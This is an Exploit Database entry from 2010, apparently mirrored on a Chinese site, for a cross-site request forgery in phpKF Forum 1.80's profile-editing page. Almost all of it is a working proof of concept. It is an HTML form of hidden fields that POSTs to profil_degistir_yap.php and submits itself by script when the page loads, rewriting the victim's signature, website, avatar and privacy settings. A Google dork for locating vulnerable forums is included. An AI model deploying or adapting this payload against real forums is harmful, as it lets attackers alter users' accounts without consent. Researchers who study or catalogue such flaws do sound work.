PHPKF Forum 1.80 – ‘profil_degistir.php’ Cross-Site Request Forgery

Exploit Database
114 阅读

作者： FreWaL

日期： 2010-12-05
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/15685/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

# Exploit Title : phpKF Forum profil_degistir.php CSRF Exploit.

# Google Dork : php Kolay Forum (phpKF)©2007 - 2010 phpKF Ekibi

# Date: 05-12-2010

# Author: FreWaL

# Software Link : http://www.phpkf.com/dosya.php?no=935

# Version : 1.80andtested on All version

# My Website: www.imhatimi.org & www.ihtilal.in

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

$

$phpKF Forum profil_degistir.php CSRF Exploit. $

$

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

<frewal>

<form method="POST" action="http://www.w0rms.com/profil_degistir_yap.php">

<br>

<input type="hidden" name="profil_degisti_mi" value="form_dolu">

<br>

<input type="hidden" name="MAX_FILE_SIZE" value="1022999">

<br>

<input type="hidden" name="islem_turu" value="normal">

<br>

<input class="formlar" type="text" name="gercek_ad" size="35" maxlength="30" value="NamesLakap">

<br>

<input class="formlar" type="text" name="dogum_tarihi" size="10" maxlength="10" value="07-02-1985">

<br>

<select class="formlar" name="sehir">

<br>

<option value="Adana">Adana</option>

<option value="YurtDýþý">Yurt Dýþý</option>

<option value="Adana">Adana</option>

</select>

<br>

<input class="formlar" type="text" name="web" size="35" maxlength="70" value="http://www.imhatimi.org">

<br>

<td bgcolor="#ffffff" class="liste-veri3" align="left">

<select class="formlar" name="tema_secim"><option value="5renkli">5renkli</option></select>

</td>

<br>

<textarea class="formlar" cols="36" rows="9" name="imza" style="width: 240px; height: 130px">Sinirsiz imza</textarea>

<br>

<tr>

<td height="20" colspan="2" class="forum_baslik" align="center">

ANINDA MESAJLAÞMA ADRESLERÝ

</td>

</tr>

<br>

<tr>

<td class="liste-veri3" bgcolor="#ffffff" align="left">

ICQ Numaranýz:

</td>

<br>

<td bgcolor="#ffffff" class="liste-veri3" align="left">

<input class="formlar" type="text" name="icq" size="35" maxlength="30" value="sanane">

</td>

</tr>

<br>

<tr>

<td class="liste-veri3" bgcolor="#ffffff" align="left">

AIM Adýnýz:

</td>

<td bgcolor="#ffffff" class="liste-veri3" align="left">

<input class="formlar" type="text" name="aim" size="35" maxlength="70" value="banane">

<br>

</td>

</tr>

<tr>

<td class="liste-veri3" bgcolor="#ffffff" align="left">

MSN Messenger Adýnýz:

</td>

<td bgcolor="#ffffff" class="liste-veri3" align="left">

<input class="formlar" type="text" name="msn" size="35" maxlength="70" value="onane">

</td>

</tr>

<br>

<tr>

<td class="liste-veri3"bgcolor="#ffffff" align="left">

Yahoo! Messenger Adýnýz:

</td>

<td bgcolor="#ffffff" class="liste-veri3" align="left">

<input class="formlar" type="text" name="yahoo" size="35" maxlength="70" value="bizene">

</td>

</tr>

<br>

<tr>

<td class="liste-veri3" bgcolor="#ffffff" align="left">

Skype Adýnýz:

</td>

<td bgcolor="#ffffff"class="liste-veri3" align="left">

<input class="formlar" type="text" name="skype" size="35" maxlength="70" value="sizene">

</td>

</tr>

<br>

<input class="formlar" name="resim_yukle" type="file" size="30" value="">

<br>

<input class="formlar" type="text" name="uzak_resim" size="35" maxlength="150" value="http://www.resimmax.net/wp-content/uploads/2010/04/Bu-resimde-hem-essek-hem-fok-bal%C4%B1g%C4%B1-gizli-120x120.jpg">

<br>

Hide Email ? (Email Göster Gizle)

<br>

<td class="liste-veri3" bgcolor="#ffffff" align="left">

<label style="cursor: pointer;">

<input type=radio name="posta_goster" value="1" >

Evet</label>

<label style="cursor: pointer;">

<input type="radio" name="posta_goster" value="0" checked="checked">

Hayýr</label>

</td>

<br>

Doðum tarihi

<br>

<td class="liste-veri3" bgcolor="#ffffff" align="left">

<label style="cursor: pointer;">

<input type="radio" name="dogum_tarihi_goster" value="1" checked="checked">

Evet</label>

<label style="cursor: pointer;">

<input type="radio" name="dogum_tarihi_goster" value="0" >

Hayýr</label>

</td>

<br>

Sehir Göster Gizle

<br>

<td class="liste-veri3" bgcolor="#ffffff" align="left">

<label style="cursor: pointer;">

<input type="radio" name="sehir_goster" value="1" checked="checked">

Evet</label>

<label style="cursor: pointer;">

<input type="radio" name="sehir_goster" value="0" >

Hayýr</label>

</td>

<br>

Online - Offline Göster Gizle

<br>

<td class="liste-veri3" bgcolor="#ffffff" align="left">

Çevrimiçi Durumunu Göster:

</td>

<td class="liste-veri3" bgcolor="#ffffff" align="left">

<label style="cursor: pointer;">

<input type="radio" name="gizli" value="0" checked="checked">

Evet</label>

<label style="cursor: pointer;">

<input type="radio" name="gizli" value="1" >

Hayýr</label>

</td>

<br>

<script> document.forms[0].submit() </script>

</form>

</frewal>

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

$

$ For MecTruy ~ Dr.Ly0n ~ Noxy ~ DeadMaster$

$Special Thenx all Security Grup

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$